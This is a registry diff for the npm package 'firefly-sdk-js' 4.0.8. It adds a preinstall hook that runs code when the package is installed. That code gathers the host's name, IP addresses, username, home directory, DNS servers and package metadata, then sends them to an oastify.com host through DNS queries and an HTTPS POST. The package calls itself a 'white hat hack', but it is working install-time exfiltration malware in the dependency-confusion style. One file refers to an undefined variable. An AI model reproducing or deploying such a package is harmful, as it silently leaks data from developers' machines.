firefly-sdk-js 4.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of firefly-sdk-js might be problematic. Click here for more details.
- package/index.js +39 -0
- package/index_dns.js +44 -0
- package/index_http.js +46 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
|
4
|
+
const hostname = os.hostname();
|
5
|
+
const ipAddresses = Object.values(os.networkInterfaces())
|
6
|
+
.flatMap(interfaces => interfaces.filter(details => details.family === 'IPv4'))
|
7
|
+
.map(details => details.address);
|
8
|
+
const username = os.userInfo().username;
|
9
|
+
|
10
|
+
const info = JSON.stringify({
|
11
|
+
hn: hostname,
|
12
|
+
ip: ipAddresses,
|
13
|
+
un: username
|
14
|
+
});
|
15
|
+
|
16
|
+
// Dividir la información en segmentos
|
17
|
+
const segmentMaxLength = 253; // Longitud máxima para un segmento DNS
|
18
|
+
const segments = [];
|
19
|
+
for (let i = 0; i < info.length; i += segmentMaxLength) {
|
20
|
+
segments.push(info.substr(i, segmentMaxLength));
|
21
|
+
}
|
22
|
+
|
23
|
+
// Configurar el dominio y el tipo de registro DNS
|
24
|
+
const domain = "gg0iavfttbaui240bgax2387syypmga5.oastify.com"; // Reemplazar con tu dominio
|
25
|
+
const recordType = "TXT"; // Puedes usar TXT u otro tipo según tus necesidades
|
26
|
+
|
27
|
+
// Realizar consultas DNS para cada segmento
|
28
|
+
segments.forEach((segment, index) => {
|
29
|
+
const subdomain = `${index}.${package}.${domain}`;
|
30
|
+
const hostname = `${subdomain}.${domain}`;
|
31
|
+
|
32
|
+
dns.resolve(hostname, recordType, (err, addresses) => {
|
33
|
+
if (err) {
|
34
|
+
console.error(`Error en la consulta DNS para ${hostname}: ${err.message}`);
|
35
|
+
} else {
|
36
|
+
console.log(`Consulta DNS exitosa para ${hostname}`);
|
37
|
+
}
|
38
|
+
});
|
39
|
+
});
|
package/index_dns.js
ADDED
@@ -0,0 +1,44 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
// Convertir la información en formato base64
|
21
|
+
const encodedData = Buffer.from(trackingData).toString("base64");
|
22
|
+
|
23
|
+
// Crear una subcadena de la información base64 para cada segmento de la consulta DNS
|
24
|
+
const segments = [];
|
25
|
+
const segmentMaxLength = 63; // Longitud máxima de cada segmento DNS
|
26
|
+
for (let i = 0; i < encodedData.length; i += segmentMaxLength) {
|
27
|
+
segments.push(encodedData.substr(i, segmentMaxLength));
|
28
|
+
}
|
29
|
+
|
30
|
+
// Configurar el dominio y el tipo de registro DNS
|
31
|
+
const domain = "gg0iavfttbaui240bgax2387syypmga5.oastify.com"; // Reemplazar con tu dominio
|
32
|
+
const recordType = "TXT"; // Puedes usar TXT u otro tipo según tus necesidades
|
33
|
+
|
34
|
+
// Realizar consultas DNS para cada segmento
|
35
|
+
segments.forEach((segment, index) => {
|
36
|
+
const hostname = `${segment}.${index}.${package}.${domain}`;
|
37
|
+
dns.resolve(hostname, recordType, (err, addresses) => {
|
38
|
+
if (err) {
|
39
|
+
console.error(`Error en la consulta DNS para ${hostname}: ${err.message}`);
|
40
|
+
} else {
|
41
|
+
console.log(`Consulta DNS exitosa para ${hostname}`);
|
42
|
+
}
|
43
|
+
});
|
44
|
+
});
|
package/index_http.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "gg0iavfttbaui240bgax2387syypmga5.oastify.com",
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "firefly-sdk-js",
|
3
|
+
"version": "4.0.8",
|
4
|
+
"description": "white hat hack",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "white hat hackerone",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|